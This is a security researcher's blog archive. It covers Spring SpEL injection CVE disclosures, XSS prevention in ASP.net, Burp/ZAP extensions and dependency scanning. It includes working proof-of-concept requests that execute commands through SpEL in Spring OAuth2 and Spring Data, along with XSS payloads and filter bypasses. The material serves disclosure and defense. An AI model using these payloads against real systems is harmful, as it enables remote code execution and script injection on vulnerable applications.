Thursday, May 17, 2018

Beware of the Magic SpEL(L) – Part 2 (CVE-2018-1260)

This post was originally posted on GoSecure's blog
On Tuesday, we released the details of RCE vulnerability affecting Spring Data (CVE-2018-1273). We are now repeating the same exercise for a similar RCE vulnerability in Spring Security OAuth2 (CVE-2018-1260). We are going to present the attack vector, its discovery method and the conditions required for exploitation. This vulnerability also has similarities with another vulnerability disclosed in 2016. The resemblance will be discussed in the section where we review the fix.

Analyzing a potential vulnerability


It all started by the report of the bug pattern SPEL_INJECTION by Find Security Bugs. It reported the use of SpelExpressionParser.parseExpression() with a dynamic parameter, the same API used in the previous vulnerability we had found. The expression parser is used to parse expressions placed between curly brackets "${...}".
public SpelView(String template) {
    this.template = template;
    this.prefix = new RandomValueStringGenerator().generate() + "{";
    this.context.addPropertyAccessor(new MapAccessor());
    this.resolver = new PlaceholderResolver() {
        public String resolvePlaceholder(String name) {
            Expression expression = parser.parseExpression(name); //Expression parser
            Object value = expression.getValue(context);
            return value == null ? null : value.toString();
        }
    };
}
The controller class WhitelabelApprovalEndpoint uses this SpelView class to build the approval page for OAuth2 authorization flow. The SpelView class evaluates the string named "template" - see code below - as a Spring Expression.
@RequestMapping("/oauth/confirm_access")
public ModelAndView getAccessConfirmation(Map<String, Object> model, HttpServletRequest request) throws Exception {
   String template = createTemplate(model, request);
   if (request.getAttribute("_csrf") != null) {
      model.put("_csrf", request.getAttribute("_csrf"));
   }
   return new ModelAndView(new SpelView(template), model); //template variable is a SpEL
}
Following the methods createTemplate() and createScopes(), we can see that the attribute "scopes" is appended to the HTML template which will be evaluated as an expression. The only model parameter bound to the template is a CSRF token. However, the CSRF token will not be under the control of a remote user.
protected String createTemplate(Map<String, Object> model, HttpServletRequest request) {
   String template = TEMPLATE;
   if (model.containsKey("scopes") || request.getAttribute("scopes") != null) { 
      template = template.replace("%scopes%", createScopes(model, request)).replace("%denial%", "");
   }

[...]

private CharSequence createScopes(Map<String, Object> model, HttpServletRequest request) {
   StringBuilder builder = new StringBuilder("<ul>");
   @SuppressWarnings("unchecked")
   Map<String, String> scopes = (Map<String, String>) (model.containsKey("scopes") ? model.get("scopes") : request
         .getAttribute("scopes"));  //Scope attribute loaded here
   for (String scope : scopes.keySet()) {
      String approved = "true".equals(scopes.get(scope)) ? " checked" : "";
      String denied = !"true".equals(scopes.get(scope)) ? " checked" : "";
      String value = SCOPE.replace("%scope%", scope).replace("%key%", scope).replace("%approved%", approved)
            .replace("%denied%", denied);
      builder.append(value);
   }
   builder.append("</ul>");
   return builder.toString();
}
At this point, we are unsure if the scopes attribute can be controlled by the remote user. While attribute (req.getAttribute(..)) represents session values stored server-side, scope is an optional parameter part of OAuth2 flow. The parameter might be accessible to the user, saved to the server-side attributes and finally loaded into the previous template.
After some research in the documentation and some manual tests, we found that "scope" is a GET parameter part of the implicit OAuth2 flow. Therefore, the implicit mode would be required for our vulnerable application.

Proof-of-Concept and Limitations


When testing our application, we realized that the scopes were validated against a scopes whitelist defined by the user/client. If this whitelist is configured, we can't be creative with the parameter scope. If the scopes are simply not defined, no validation is applied to the name of the scopes. This limitation will likely make most Spring OAuth2 applications safe.
This first request made used the scope "${1338-1}", see picture below. Based on the response, we now have a confirmation that the scope parameter's value can reach the SpelView expression evaluation. We can see in the resulting HTML multiples instances of the string "scope.1337".

Pushing the probe value ${1338-1}

A second test was made using the expression "${T(java.lang.Runtime).getRuntime().exec("calc.exe")}" to verify that the expressions are not limited to simple arithmetic operations.

Simple proof-of-concept request spawning a calc.exe subprocess

For easier reproduction, here is the raw HTTP request from the previous screenshot. Some characters - mainly curly brackets - were not supported by the web container and needed to be URL encoded in order to reach the application. { -> %7b
POST /oauth/authorize?response_type=code&client_id=client&username=user&password=user&grant_type=password&scope=%24%7bT(java.lang.Runtime).getRuntime().exec(%22calc.exe%22)%7d&redirect_uri=http://csrf.me HTTP/1.1
Host: localhost:8080
Authorization: Bearer 1f5e6d97-7448-4d8d-bb6f-4315706a4e38
Content-Type: application/x-www-form-urlencoded
Accept: */*
Content-Length: 0

Reviewing The Fix


The solution chosen by the Pivotal team was to replace SpelView with a simpler view, with basic concatenation. This eliminates all possible paths to a SpEL evaluation. The first patch proposed introduced a potential XSS vulnerability, but luckily this was spotted before any release was made. The scope values are now properly escaped and free from any injection.
More importantly, this solution improved the security of another endpoint: WhitelabelErrorEndpoint. The endpoint is also no longer uses a Spel View. It was found vulnerable to an identical attack vector in 2016. Spring-OAuth2 also used the SpelView class to build the error page. The interesting twist is that the template parameter was static, but the parameters bound to the template were evaluated recursively. This means that any value in the model could lead to a Remote Code Execution.

Example with simple values
Example with an expression included in the model

This recursive evaluation was fixed by adding a random prefix to the expression boundary. The security of this template now relies on the randomness of 6 characters (62 possibilities to the power of 6). Some analysts were skeptical regarding this fix and raised the risk of a race condition if enough attempts are made. However, this is no longer a possibility since SpelView was also removed from this endpoint.
The SpelView class is also present in Spring Boot. This implementation has a custom resolver to avoid recursion. This means that while the Spring-OAuth2 project no longer uses it, some other components, or proprietary applications, might have reused (copy-pasted) this utility class to save some time. For this reason, a new detector looking for SpelView was introduced in Find Security Bugs. The detector does not look for a specific package name because we assume that the application will likely have a copy of the SpelView class rather than a reference to Spring-OAuth2 or Spring Boot classes.

Limitation & exploitability


We encourage you to keep all your web applications' dependencies up-to-date. If for any reason you must delay the last month's updates, here are the specific conditions for exploitation:
  • Spring OAuth2 in your dependency tree
  • The users must have implicit flow enabled; it can be enabled along with other grant types
  • The scope list needs to be empty (not explicitly set to one or more elements)
The good news is that not all OAuth2 applications will be vulnerable. In order to specify arbitrary scopes, the user profile of the attacker needs to have an empty list of scopes.

Conclusion


This was the second and last article of the series on SpEL injection vulnerabilities. We hope it brought some light on this less frequent vulnerability class.
As mentioned previously in Part 1, finding this vulnerability class in your own application is unlikely. It is more likely to come up in components similar to Spring-Data or Spring-OAuth. If you are a Java developer or tasked with reviewing Java code for security, you could scan your application using Find Security Bugs, the tool we used to find this vulnerability. This type of vulnerability hunting can be daunting because many code patterns cause indirection, making variable tracking harder.
Kudos to Alvaros Muñoz, pyn3rd and Gal Goldshtein who reproduced the vulnerability and documented the flaw a few days after the official announcement made by Pivotal.

Reference

Tuesday, May 15, 2018

Beware of the Magic SpEL(L) - Part 1 (CVE-2018-1273)

This post was originally posted on GoSecure's blog

This February, we ran a Find Security Bugs scan on over at least one hundred components from the Spring Framework, including the core components (spring-core, spring-mvc) but also optional components (spring-data, spring-social, spring-oauth, etc.). From this exercise, we reported some vulnerabilities. In this blog post, we are going to give more details on a SpEL injection vulnerability. While some proof of concept code and exploitation details have already surfaced on Twitter, we will add a focus on how these vulnerabilities were found, followed by a thorough review of the proposed fix.

Initial Analysis


Our journey started when we noticed a suspicious expression evaluation in the MapDataBinder.java class, identified by the SPEL_INJECTION pattern as reported by Find Security Bugs. We discovered that the parameter propertyName came from a POST parameter upon form submission:
public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException {
    if (!isWritableProperty(propertyName)) { // <---Validation here
        throw new NotWritablePropertyException(type, propertyName);
    }
    StandardEvaluationContext context = new StandardEvaluationContext();
    context.addPropertyAccessor(new PropertyTraversingMapAccessor(type, conversionService));
    context.setTypeConverter(new StandardTypeConverter(conversionService));
    context.setRootObject(map);
    Expression expression = PARSER.parseExpression(propertyName); // Expression evaluation
The sole protection against arbitrary expression evaluation appears to be the validation from the isWritableProperty method. Following the execution trace, it can be seen that the isWritableProperty method leads to the execution of getPropertyPath:
@Override
public boolean isWritableProperty(String propertyName) {
    
    try {
        return getPropertyPath(propertyName) != null;
    } catch (PropertyReferenceException e) {
        return false;
    }
}
private PropertyPath getPropertyPath(String propertyName) {

    String plainPropertyPath = propertyName.replaceAll("\\[.*?\\]", "");
    return PropertyPath.from(plainPropertyPath, type);
}
We were about to review the PropertyPath.from()  method  in detail, but we realized a much easier bypass was possible: any value enclosed by brackets is removed and therefore the value is ignored. With this knowledge, the attack vector becomes clearer. We're possibly able to submit a parameter name that would have the pattern "parameterName[T(malicious.class).exec('test')]".

Building a Proof-of-concept


An idea is nothing until it is put into action. When performing extensive code review, the creation of a proof of concept can sometimes be difficult. Luckily, it was not the case for this vulnerability. The first step was obviously constructing a vulnerable environment. We reused an example project located in spring-data-examples repository. The web project used an interface as a form which is required to reach this specific mapper.
After identifying the form, we built the following request and sent it with an HTTP proxy. We were instantly greeted with the calculator spawn, confirming the exploitability of the module:
POST /users?size=5 HTTP/1.1
Host: localhost:8080
Referer: http://localhost:8080/
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
Connection: close
Upgrade-Insecure-Requests: 1

username=test&password=test&repeatedPassword=test&password[T(java.lang.Runtime).getRuntime().exec("calc")]=abc

Simple proof of concept request spawning a calc.exe subprocess

Reviewing The Fix


A complete fix was made in the changeset associated to the bug id DATACMNS-1264. Here is why it can be considered really effective.
While the attack vector presented previously relies on the side effect of a regex, another risk was also found in the implementation. The processed value was parsed twice; once for validation, and once again for execution. This is a subtle detail that is often overlooked when performing code review. An attacker could potentially exploit one subtitle difference between each implementation. This remains theoretical because we didn't find any difference between both.
The correction made by Pivotal also addresses this small double parsing risk that could have introduced a vulnerability in the future. In the first place, a more limited expression parser (SimpleEvaluationContext) was used. Then, a new validation of the types is integrated as the expression is loaded and executed. The isWritableProperty method was kept but the security of the mapper doesn't rely on it anymore:
public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException {
    [...]
    EvaluationContext context = SimpleEvaluationContext //
        .forPropertyAccessors(new PropertyTraversingMapAccessor(type, conversionService)) // NEW Type validation
        .withConversionService(conversionService) //
        .withRootObject(map) //
        .build();

    Expression expression = PARSER.parseExpression(propertyName);

Is my application affected?


Most Spring developers adopted Spring Boot to help dependency management. If this is your case, you should integrate the updates as soon as possible to avoid missing critical security patches, or growing your technical debt. If for any reason you must delay the last months' updates, here are the specific conditions for the exploitation of this specific bug:
  • Having spring-data-commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5, in your dependency tree;
  • At least one interface is used as a form (for example UserForm in the spring-data-examples project);
  • Impacted forms from previous conditions are also accessible to attackers.

What's next?


As the title implies, there will be a second part to this article, as a very similar vulnerability was identified in Spring OAuth2. We wanted to keep both vulnerabilities separate regardless of the similarities to avoid confusion with the exploitation conditions and the different payloads.
You might be wondering where these SpEL injections are likely to be present, aside from the Spring Framework itself. It is unlikely that you will find web application logic directly using the SpEL API. Our offensive security team only recalls one occurrence of such conditions. The most probable case is reviewing other Spring components similar to data-commons. Additional checks can easily be added to your automated scanning tools. If you are a Java developer or tasked with reviewing Java code for security,  you could scan your application using Find Security Bugs, the tool we used to find this vulnerability. As implicitly demonstrated in this article, while this tool can be effective, the confirmation of the exploitability still requires a minimal understanding of the vulnerability class and a small analysis.
We are hoping that this blog was informative to you. Maybe, you will find a similar vulnerability yourself soon.

References

Wednesday, January 24, 2018

Why you should consider Kotlin for Burp extension development

This post was originally posted on GoSecure's blog

This small article is an opinion piece to explain why we find the Kotlin language interesting. Its benefits applied to Burp extension development.
Security professionals might not be aware of Kotlin. However, it is becoming a trending language in the Android development ecosystem. Additionally, being propelled by Google and JetBrains, it should not be seen as a risky technology choice. In this article, we are going to outline the main advantages of this language.

Debugging and Tooling


While this may sound very basic, having IDE-level debugging is very helpful on medium and large projects.  The only supported language that has full debugging support in the context of Burp is Java. The implementation of Python (Jython) and Ruby (JRuby) used by Burp have rudimentary debugging features such as interactive debugging and console output. It makes Python and Ruby less attractive for big Burp extensions that will require long-term maintenance.

Breakpoint hit when using Remote Debugging

Null Resistant


Having uninitialized objects at runtime is a common problem in many languages. In that regards, Kotlin adds some beneficial safeguard: The compiler will make sure variables are not nullable avoiding a common source of runtime exceptions.
Declaring an object nullable will allow the compiler to do additional safety checks. In the following code sample, we can see few instances of unsafe code detected by the compiler and the use of the safe call feature in action.
fun extractXmlTag(nullableValue:String?, safeValue:String) : String? {
  var tag:String? = "";
  tag = nullableValue.substring(nullableValue.indexOf("<")) //Prohibit: Compiler error for potential null
  if(nullableValue != null) tag = nullableValue.substring(nullableValue.indexOf("<")) //OK: Null check
  tag = nullableValue?.substring(nullableValue?.indexOf("<")) //OK: Use of Safe call

  return tag
}

Class Extension


Class extension is a way to add the utility functions that you wish the Burp API had. This will replace utility classes in an elegant matter.
Here is an example where a method getHeader(String) is added as if it was part of the interfaces IRequestInfo and IResponseInfo.
val httpInfo = helpers.analyzeRequest(content)
if (isRequest) {
    this.headerValue = httpInfo.getHeader("Authorization")
} else {
    this.headerValue = httpInfo.getHeader("WWW-Authenticate")
}
fun IRequestInfo.getHeader(headerName:String):String = getHeaderCommon(headerName, this.headers)
fun IResponseInfo.getHeader(headerName:String):String = getHeaderCommon(headerName, this.headers)

internal fun getHeaderCommon(headerName:String,headers: List<String>):String {
  //Implementation goes here
}

Syntactic Sugar


While syntax sugar may not correlate directly with efficiency, it makes development significantly more pleasant. Here is an overview of the most commonly used patterns.

String template


String concatenation is a very common pattern. For this operation, Kotlin supports the inclusion of variable name or expression called "String Template".
fun process(val status:String, val cipherText:ByteArray) {

  log("Output $status ${cipherText.toHex()} ")
}

Field initialization simplified

class Payload(val parameter1: String, val parameter2: String) {
}
The previous Kotlin constructor is analog to the following Java code:
class Payload {
  final String parameter1; 
  final String parameter2;
  Payload(String parameter1,String parameter2) {
   this.parameter1 = parameter1;
   this.parameter2 = parameter2;
  }
}

Typing simplified


The left operant of assignation does not need to declare its type if it matches the one on the right.
ArrayList<String> listElements = new ArrayList<String>()
[becomes]
val listElements = new ArrayList<String>()

No more getters and setters


Interoperability with Java code was one of the main objectives of the language. For this reason, fields (see var identifier) will implicitly have getX() and setX() methods created.
class PayloadMessage(
  var valid: Boolean, 
  var version: String) {

}   
The previous Kotlin code is analog to the following Java code:
class PayloadMessage {
  Boolean valid;
  String version;

  public PayloadMessage (Boolean valid, String version) { [...] }

  public String getVersion() {
    return version;
  }

  public void setVersion(String version) {
    this.version = version;
  }

  public Boolean isValid() {
    return valid;
  }
  public void setValid(Boolean valid) {
    this.valid = valid;
  }
  [...]
}

Conclusion


Kotlin is on the rise. Pentesters will inevitably have to review Kotlin code if they do Android assessments. Building small tools with the language is a fun way to explore it.
We have built few internal Burp plugins so far. Our soon-to-be-released to the Burp App Store SSP Decoder plugin is a demonstration that can serve as an example for new projects.
If you have an existing Java project and you wish you had started the project in Kotlin, you can always use the code conversion capabilities from IntelliJ to do the migration.

References

Tuesday, June 28, 2016

Auditing CSP headers with Burp and ZAP

This post was originally posted on GoSecure's blog
Content Security Policy (CSP)  is a HTTP header that instruct the browser to limit resource loading of media, styles and scripts.
As you may know, CSP is not adopted yet by industry. Multiple surveys have already been made about the adoption of the security header [1] [2] [3]. Even so, it does not mean that we cannot prepare ourselves for the technology. For this purpose, we have built a Burp and ZAP extension to automate the most common validations called CSP Auditor.

The extension


The first component is the passive scanning that find various issues around the CSP configuration. The issues are visible from the Target tab when selecting the targeted host.

Description of the weakness

The weakness is highlighted in the Raw Response Tab.


For manual review of the CSP header(s), an additional tab is available to display a readable version of the CSP configuration. It will display inherited properties. Those properties occur for example if script-src is missing but default-src is defined. The weak configurations are also colored according to the impact (orange for low severity and red for medium). This tab is available in most contexts such as History, Repeater and Intruder.

Detail view tab


The extension was submitted to the BApp Store and should be available in the next months. If you want to try it now, you can grab the plugin from the GitHub repository.

The passives rules


Now, what are the actual validations done by the extension? Here is the complete list. It can also be used as a checklist if a manual review is needed.

1. Unsafe inline

script-src: 'unsafe-inline'
In order to contain the JavaScript being executed, CSP allows only the execution of JavaScript within separate files.  With this directive enabled, an attacker will be able to use script html tag (<script>...</script>) or event handlers (onload, onerror, etc.) to load malicious JavaScript code.

2. Unsafe eval

script-src: 'unsafe-eval'
By default, CSP does not allow the execution of eval or setTimeout functions. The 'unsafe-eval' directive disable this protection. An attacker might be able to take advantage of those risky scripts using eval to trigger a XSS. The directive's presence is not a confirmation that eval() or setTimeout() are used. Old JavaScript libraries are often the reason why 'unsafe-eval' is added.

3. Wildcards

script-src: *
By specifying a wildcard, an attacker will be able to load a script from any server. Having this sort of directive eradicate the XSS protection capability from CSP.

4. Risky hosts with known vulnerable JavaScript

script-src: *.googleapis.com
Some libraries - namely AngularJS - have known payloads that allow the execution of script without using typical script html tag or event handler. In the case of Angular, CSP does not limit angular custom template syntax.

5. Allowing hosts that allow users’ content

script-src: *.appspot.com
Content delivery network (CDN) and software as a service (SAAS) are widely used. It is easy to introduce a permissive directive mistakenly. In the example above, the developer could have wanted to allow the hosts : myapplication1.appspot.com, myapplication1-api.appspot.com and myapplication1-files.appspot.com. Unfortunately, the wildcard cannot be used because anybody can register its own appspot subdomain (AppEngine).

6. Deprecated header name

X-Content-Security-Policy: ... / X-Webkit-CSP: ...
Some browsers have supported an experimental implementation of CSP with different header names. Now that the CSP specification 1.0 is out the older header should not be used.


Conclusion


This extension can be added to your web application assessment arsenal. However don't expect to find a majority of sites implementing an efficient protection against XSS. Inline scripts are still widely used.
We cannot expect applications to be rewritten completely but, we can expect that the web frameworks will eventually adopt the standard. CSP Level 3 and its "nonce-source" are likely to make the adoption easier.

References


Content Security Policy Reference : A handy reference to quickly getting started
CSP 2015 by filedescriptor: Article describing the remaining attack vectors once CSP is configured properly.
XSS without HTML: Client-Side Template Injection with AngularJS by Gareth Heyes: One of the most common CSP bypass
CSP Auditor on GitHub : Get the source code of CSP Auditor
CSP Bypass (Burp plugin) by Joe Moloch : Burp extension similar to CSP Auditor written in Python.
Content Security Policy : Level 1
Content Security Policy : Level 2
Content Security Policy : Level 3

Tuesday, March 22, 2016

XSS for ASP.net developers

This post was originally posted on GoSecure's blog
As a follow-up to the conference given at Confoo few weeks ago, we are doing a focus article on the same topic. The presentation was giving an overview of the modern XSS attack vectors and filter bypass. In this blog post, we will take a closer look at XSS in the context of .NET applications.
This article is intended to be a simple checklist for ASP.net MVC developers or security auditors. Defensive measures can be put in place at various layers including the template files (Razor or ASPx Forms), the Request Validation feature and the client-side (browser) filters.


Template


Lets remind ourselves that the root cause of Cross-Site Scripting is missing  encoding of user inputs. Having the right encoding at the source is obviously the true antidote to this class of vulnerabilities. Luckily, the template engine available in .NET is doing some encoding by default.
Here is a list of vulnerable templates using the Razor template engine. The examples assumes that the values displayed are controlled by the user.
  • Unsafe HTML
Hello @Html.Raw(ViewBag.Name)
If direct binding was used (@ViewBag.Name), it would be encoded properly the value for the HTML context. In the HTML context, special characters are replaced by XML entities such as &lt; , &gt; and &quot;.
  • Unsafe Html.Raw in attributes
<a href="/ViewDetails?name=@Html.Raw(ViewBag.Name)">View Details</a>
In this unsafe example, the developer might have disabled the encoding because he realizes that the default encoding to HTML entities is not appropriate for URLs. Special characters are replaced by entities (ie " becomes &quote;). A context specific function should have been used. Server.UrlEncode() can be used to encode safely a value in an URL.
  • Unsafe action link
@Html.ActionLink("Open page", null, null, null, new { href = @ViewBag.Url })
With the first ActionLink, an attacker could use the URL "javascript:[...]" to trigger malicious JavaScript. A validation of the URL is needed in the controller.
@Html.ActionLink("Back to previous page", null, null, null, new { href = Request.UrlReferrer })
The second ActionLink example could lead to an Open Redirect. It does not lead to arbitrary JavaScript execution but it could be used as an effective means for stealing credentials or phishing attacks.
  • Unsafe "unquoted" attribute
Attributes in Razor template can become vulnerable to XSS in two scenarios: when Html.Raw is used (see Unsafe Html.Raw in attributes) or when an attribute is not placed in quotes. Razor does not enforce the use of single or double quotes.
<img src=logo.png alt=@(ViewBag.ImageId)>
Here a malicious user controlling the ImageId variable could add a JavaScript event such as onload or onerror. The following snippet illustrate a basic injection.
<img src=logo.png alt=''onload='alert(1)'>
  • Another example with unquote attribute that could lead to DOM clobbering
<form class=@(ViewBag.FormClass) action="SubmitMe">
</form>
In this particular case, a form with the injected properties "name" and "id" can lead to shadow JavaScript global variables that are injected later in the DOM. It is a very capricious attack vector that works for very specific property names. If you want to know more about it, you can read Gareth Heyes article on DOM clobbering.
  • Script context
<script>
api.SearchUser('@(ViewBag.FirstName)','@(ViewBag.FirstName)');
</script>
Finally, the script context is slightly more at risk because the value are escaped to HTML entities by default. In the example above, it is possible to inject JavaScript because HTML special characters are escaped but not blackslash ().
<script>
api.SearchUser('Dummy',');prompt(1234)//');
</script>
In the previous example, the blackslash escape the terminating single quote. This cause the string to actually close on the following single quote. The second parameter can then be use by the attacker introduce malicious Javascript.
To summarize the correct guidelines, we have create a cheat sheet that include code examples  for the different contexts. It is intend to be a quick reminder for developers or security auditors doing code review. Feel free to share this cheat sheet to developers of your organisation.

Security Cheat Sheet @ GitHub

Request Validation


RequestValidation error message (input blocked)
Request Validation is a built-in filter to ASP.net. It is an additional layer of protection that is intended to block malicious requests. It will stop suspicious request if the parameters contains any HTML tag.
The Request Validation module is a feature that is integrated to ASP.net framework. It is decoupled from the View ASP forms or Razor Templates. It can be view as a Web Application Firewall for XSS specifically.

Bypasses

Any transformation between the moment the request is received and the construction of the final HTML view can lead to filter bypass. If an HTTP parameter is URL decoded two times, it is enough to bypass the filter.
One of the common transformation is SQL server character conversion to ASCII. It can occurs if the column data type is not unicode (VARCHAR vs NVARCHAR). SQL Server will convert the Unicode character FF1C to 003C. This is sufficient to bypass RequestValidation to create a Stored XSS.

Character Character After storage
U+FF1C (%EF%BC%9C) U+003C (%3C)
U+FF1E (%EF%BC%9E) U+003E (%3E)

A malicious payload using this bypass would look like this:
Name=XSS_HERE_%EF%BC%9Cimg%20src%3Dxxx%20onerror%3Dalert(1)%EF%BC%9E
Once the value would be output, it will be display as < (u+003C) and > (u+003E).
XSS_HERE_<img src=xxx onerror=alert(1)>
Nonetheless, it is still recommended to keep RequestValidation as a extra safe guard. As the official documentation stated, it is not a replacement to validation and proper encoding.

Client-side filters

Modern browsers also provide an additional layer of protection. Chrome, Internet Explorer and Edge have a filter mechanism that can detect some reflected XSS. The browsers will find some patterns were HTML tags are passed in the URL or POST parameters and are reflected in the page.

Browser XSS Filter
Mozilla Firefox None
Google Chrome Yes
Internet Explorer / Edge Yes

The filter can also be forced with the header X-XSS-Protection: 1. This has limited benefits because the filter is already enabled by default in Chrome, Internet Explorer and Edge. However, for some hosts (like localhost), IE/Edge will disable its filter by default.

Additional configurations

  • X-XSS-Protection: 1; mode=block : It is possible to block the loading of the page if a malicious pattern is detected. It is intended to avoid unwanted scripts being disabled.
  • X-XSS-Protection: 1; report=http://myhost.com/report : With this directive the browser will report blocked parameters to the URL specified in the header.
Even though  the filters have been proved to be effective, there is no commitment from the Chrome and Edge teams to provide a complete coverage.

Bypasses


Browser filters do not cover stored XSS and some DOM XSS. They also have some known bypasses. Usually, a transformation will lead to filter bypass. In the following example, the value is properly HTML encoded. However, JavaScript will read the attribute and print it. It will trigger an XSS because once the attribute is read the entities are decoded.
http://website.com/example?userId=%3Cimg%20src=xx%20onerror=alert(1)%3E
<form action="">
<input type="hidden" id="userId" name="userId" value="&lt;img src=xx onerror=alert(1)&gt;" >
</form>

<div id="preview"></div>

<script>
document.getElementById("preview").innerHTML = "Hello "+document.getElementById("userId").value;
</script>


Conclusion


This article should cover the key elements when it comes to safe HTML encoding and XSS prevention. You should now be aware of some of the limitations of each components. It should also stand out that security is not a silver bullet. Relying on a single protection will increase the probability of malicious payload passing through.
As mention previously, feel free to share this cheat sheet to developers of your organisation. The cheat sheet will evolve in the next month to include additional languages and frameworks. The project is open for contribution and reuse.

References

Wednesday, January 6, 2016

Deserialization Vulnerability : Automating the hunt


At the end of 2015, many Java applications were found vulnerable to a common deserialization bug. It all starts with a presentation at AppSecCali that demonstrate the danger of deserializing user input and having Apache Commons Collections in the classpath [1]. Stephen Breen from Foxglove later publish vulnerabilities with working exploits for WebLogic, WebSphere, JBoss and Jenkins.

This is obviously not the end of the story. While some big names where fixed, other applications open source and proprietary are likely to be vulnerable to the same bug pattern. In fact quickly after Foxglove publication, an advisory was release for ActiveMQ.

Stephen has already described in great detail the detection and exploitation in the context of penetration test. I wanted to provide a small method for scanning proprietary applications looking only at the jar files.

Object deserialisation (*)

Scanning a specific library


For the demonstration of this article, I will use the command line interface of FindBugs with the plugin Find Security Bugs version 1.4.5 (download link).
In its simplest form, we can pass the path of the JAR file to scan. Here -high is added to hide medium vulnerability.
> ./findsecbugs.sh -high libs/esapi-2.1.0.jar

H S SECOBDES: Object deserialization is used in org.owasp.esapi.codecs.Base64.decodeToObject(String)  At Base64.java:[line 1106]
H S SECPTI: File(...) reads a file whose location might be specified by user input  At DefaultEncryptedProperties.java:[line 174]
H S SECPTO: FileOutputStream(...) writes to a file whose location might be specified by user input  At Base64.java:[line 1359]
H S SECPTO: FileOutputStream(...) writes to a file whose location might be specified by user input  At Base64.java:[line 1322]
H S SECPTI: File(...) reads a file whose location might be specified by user input  At EncryptedPropertiesUtils.java:[line 188]
H S SECPTI: FileInputStream(...) reads a file whose location might be specified by user input  At Base64.java:[line 1318]
H S SECPTI: File(...) reads a file whose location might be specified by user input  At EncryptedPropertiesUtils.java:[line 140]
H S SECPTI: FileInputStream(...) reads a file whose location might be specified by user input  At Base64.java:[line 1355]

To analyze a specific bug, you can open the jar directly in JD.
Jumping to the potential bug (Base64 line 1106)

Search feature in JD to find class by name or regex pattern

Scanning a complete application


The command line interface of FindBugs has plenty of options. If we want to scan a complete application, we will need to give the complete list of jars to FindBugs.

On Linux:
> find /some/application/ -name *.jar

On Windows:
dir "C:/Some/Application/" /s /b  | findstr \.jar$ > libs.txt

Once the jars list is place in a text file, we can start a global scan. In the following example,


  • -xargs : is used to pipe the list of jars
  • -progress : is added to have some feedback since analyzing large code base can take a couple of minutes.
  • -html : I recommend using the HTML report to have a more detailed and readable report

  • > cat libs.txt | findsecbugs.sh -xargs -progress -html -output report.htm
    
    Scanning archives (156 / 156)
    2 analysis passes to perform
    Pass 1: Analyzing classes (16922 / 48118) - 35% complete
    

    The same operation can be done in Windows with the following command.
    > type libs.txt | findsecbugs.bat -xargs -progress -html -output report.htm
    

    Conclusion


    That's it! You should be able to find deserialisation vulnerability along with other bug patterns supported by Find Security Bugs plugin.

    To determine if an application is vulnerable or not will obviously require a specific analysis. The only general guideline is to identify ObjectInputStream instance where the content is read from user input.

    References


  • What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability: Detailed explantation for many application can be exploited by Apache Commons Collections "serialization gadget" written by Stephen Breen
  • AppSecCali 2015 - Marshalling Pickles: Presentation that cover the Apache Commons Collections "serialization gadget" by Christopher Frohoff and Gabriel Lawrence
  • SRCLR: Commons Collections Deserialization Vulnerability Research Findings : Research maded by SRCLR that focus on finding additional vulnerables libraries
  • SRCLR: Let’s Calm Down About Apache Commons Collections: Follow up to the article from Foxglove Security
  • ActiveMQ CVE-2015-5254: Official advisory from ActiveMQ
  • Find Security Bugs : Official web for the Find Security Bugs plugin
  • Find Security Bugs release 1.4.5 : Version use in the previous demonstrations
  • Friday, November 6, 2015

    Automate dependencies checking


    An application is like an iceberg. During a security code review, the focus will always be on the code written by the development team. It is easy to forget that most of the code running in production will be framework, libraries, the web server and the operating system.

    (Credits robynm pixabay)

    Keeping an operating system and its web server up to date might be a relatively simple task but, keeping track of all of the dependencies of an applications (framework and libraries) can be much harder. A complex application can easily have hundred of dependencies. Reviewing all the code of the libraries used is beyond possible for most company. On the other hand, making sure that at least all the libraries used don't have known vulnerabilities seems reasonable.

    Tools available


    I will present in this blog post two tools that can support this task for Java applications.

    1.  OWASP Dependency Check (Java, .NET, Ruby, node.js, ..)
    2. Victims (Python, Java)

    Although the tools target the same objective, they used two different approachs.

    1. OWASP Dependency Check


    Dependency check extract various keywords including the filename, artifactid (if Maven) and META-INF properties. It than search those keywords in the NIST Natial Vulnerability Database feed.

    At first, it might sound like an effective solution but in practice this approach is very approximate. A lot of false positive generated by this tool. The NIST feed include tons of applications that are not Java libraries. Application sharing common keyword in their name is really common,
    The NIST feed is not a perfect source of information because not all libraries affected are documented in the database. The search will

    Bottom line, it can still be use to do some automate research instead of googling each libraries one by one.

    Example of report generated from OWASP Dependency Check

    2. Victims CVE Project


    Victims is taking a white list approach where all Java CVE are extracted from the NIST feed, documented and mapped to their respective Maven artifactId.

    Unfortunately, the detection of many vulnerable artifact because of some missing hash. To still benefit from this source of information, I have start building an alternative client for maven that avoid the intermediary step of creating hash for each vulnerable jars. I did a short demonstration of the first release version at JavaOne last week.

    Demo of the Maven Security Versions plugin (Click to zoom)

    Clarification : The demonstration above use maven-security-versions. The official maven integration is called victims-enforcer.

    Report generated from Maven Security Versions

    Closing Thoughts


    Just like static analysis tools, it is generally better to use more than one dependency checker. Using both tools allow you to have a better coverage.

    References


    OWASP Dependency Check : Official Dependency Check page
    Victims : Official Victims Github project
    RubySec: Ruby advisory database